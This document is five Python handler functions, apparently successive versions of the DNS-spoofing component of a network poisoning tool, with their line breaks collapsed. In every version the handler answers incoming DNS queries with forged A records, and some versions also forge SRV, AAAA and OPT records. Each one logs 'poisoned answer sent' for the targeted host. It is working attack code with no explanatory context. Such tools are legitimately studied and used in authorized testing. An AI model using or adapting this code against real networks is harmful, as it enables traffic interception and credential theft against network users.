def handle(self): # Break out if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None try: data = self.request.recv(1024) if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False: buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass
def handle(self): # Ditch it if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None try: data, soc = self.request if ParseDNSType(NetworkRecvBufferPython2or3( data)) is "A" and settings.Config.AnalyzeMode == False: buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print( color( "[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3( data)) is "SRV" and settings.Config.AnalyzeMode == False: buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print( color( "[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass
def handle(self): # Break out if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None try: data = self.request.recv(1024) if ParseDNSType(data) and settings.Config.AnalyzeMode is False: buff = DNS_Ans() buff.calculate(data) self.request.send(str(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) except Exception: pass
def handle(self): # Break out if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None try: data, soc = self.request if ParseDNSType(data) and settings.Config.AnalyzeMode == False: buff = DNS_Ans() buff.calculate(data) soc.sendto(str(buff), self.client_address) ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1) except Exception: pass
def handle(self): # Break out if we don't want to respond to this host if RespondToThisIP(self.client_address[0]) is not True: return None try: data = self.request.recv(1024) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": buff = DNS_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": buff = DNS6_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass